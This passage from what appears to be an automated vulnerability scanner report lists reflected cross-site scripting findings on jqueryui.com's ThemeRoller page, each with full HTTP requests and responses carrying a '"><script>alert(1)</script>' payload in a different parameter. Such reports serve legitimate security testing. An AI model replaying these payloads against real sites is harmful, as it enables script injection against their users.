GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png9d62a"><script>alert(1)</script>d9e2e119da&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:36 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120027

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png9d62a"><script>alert(1)</script>d9e2e119da&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault
...[SNIP]...

4.92. http://jqueryui.com/themeroller/ [bgTextureDefault parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgTextureDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 887dc"><script>alert(1)</script>2ff81d14d74 was submitted in the bgTextureDefault parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png887dc"><script>alert(1)</script>2ff81d14d74&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:43 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120029

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
gColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png887dc"><script>alert(1)</script>2ff81d14d74&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&ic
...[SNIP]...

4.93. http://jqueryui.com/themeroller/ [bgTextureError parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgTextureError request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 20719"><script>alert(1)</script>34a4ccee6e7 was submitted in the bgTextureError parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png20719"><script>alert(1)</script>34a4ccee6e7&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:52:14 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120029

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
ht=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png20719"><script>alert(1)</script>34a4ccee6e7&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgText
...[SNIP]...

4.94. http://jqueryui.com/themeroller/ [bgTextureHeader parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgTextureHeader request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5fa33"><script>alert(1)</script>92ca4dfbc3d was submitted in the bgTextureHeader parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png5fa33"><script>alert(1)</script>92ca4dfbc3d&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:29 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120029

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
lesheet" href="/themeroller/css/parseTheme.css.php?ctl=themeroller&ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png5fa33"><script>alert(1)</script>92ca4dfbc3d&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcCo
...[SNIP]...

4.95. http://jqueryui.com/themeroller/ [bgTextureHighlight parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgTextureHighlight request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3fcec"><script>alert(1)</script>f1da83410 was submitted in the bgTextureHighlight parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png3fcec"><script>alert(1)</script>f1da83410&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:52:06 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120025

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
5&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png3fcec"><script>alert(1)</script>f1da83410&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcEr
...[SNIP]...

4.96. http://jqueryui.com/themeroller/ [bgTextureHover parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgTextureHover request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 25ed7"><script>alert(1)</script>5c3a54a40b7 was submitted in the bgTextureHover parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png25ed7"><script>alert(1)</script>5c3a54a40b7&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:51:52 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120029

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
tent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png25ed7"><script>alert(1)</script>5c3a54a40b7&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconCo
...[SNIP]...

4.97. http://jqueryui.com/themeroller/ [bgTextureOverlay parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgTextureOverlay request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 93619"><script>alert(1)</script>db84fe6e96f was submitted in the bgTextureOverlay parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png93619"><script>alert(1)</script>db84fe6e96f&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:52:20 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120029

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
ighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png93619"><script>alert(1)</script>db84fe6e96f&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadi
...[SNIP]...

4.98. http://jqueryui.com/themeroller/ [bgTextureShadow parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgTextureShadow request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33ed5"><script>alert(1)</script>35d4c5ff8a was submitted in the bgTextureShadow parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png33ed5"><script>alert(1)</script>35d4c5ff8a&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:52:25 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120027

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png33ed5"><script>alert(1)</script>35d4c5ff8a&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px" type="text/css" media="all" />
...[SNIP]...

4.99. http://jqueryui.com/themeroller/ [borderColorActive parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the borderColorActive request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 37fad"><script>alert(1)</script>436b3b12950 was submitted in the borderColorActive parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=C14D1A&bgTextureHeader=02_glass.png&bgImgOpacityHeader=50&borderColorHeader=5E260F&fcHeader=ffffff&iconColorHeader=F1B50F&bgColorContent=2E1D1D&bgTextureContent=03_highlight_soft.png&bgImgOpacityContent=10&borderColorContent=5E260F&fcContent=ffffff&iconColorContent=222222&bgColorDefault=ffffff&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=5E260F&fcDefault=5E260F&iconColorDefault=888888&bgColorHover=F1B50F&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F37fad"><script>alert(1)</script>436b3b12950&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=05_inset_soft.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Sat, 05 Feb 2011 22:52:02 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120095

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
xtureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=5E260F&fcHover=212121&iconColorHover=454545&bgColorActive=C7842D&bgTextureActive=01_flat.png&bgImgOpacityActive=65&borderColorActive=5E260F37fad"><script>alert(1)</script>436b3b12950&fcActive=212121&iconColorActive=454545&bgColorHighlight=64A3D3&bgTextureHighlight=04_highlight_hard.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83f
...[SNIP]...

4.100. http://jqueryui.com/themeroller/ [borderColorContent parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the borderColorContent request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ac137"><script>alert(1)</script>af50a204ab8 was submitted in the borderColorContent parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

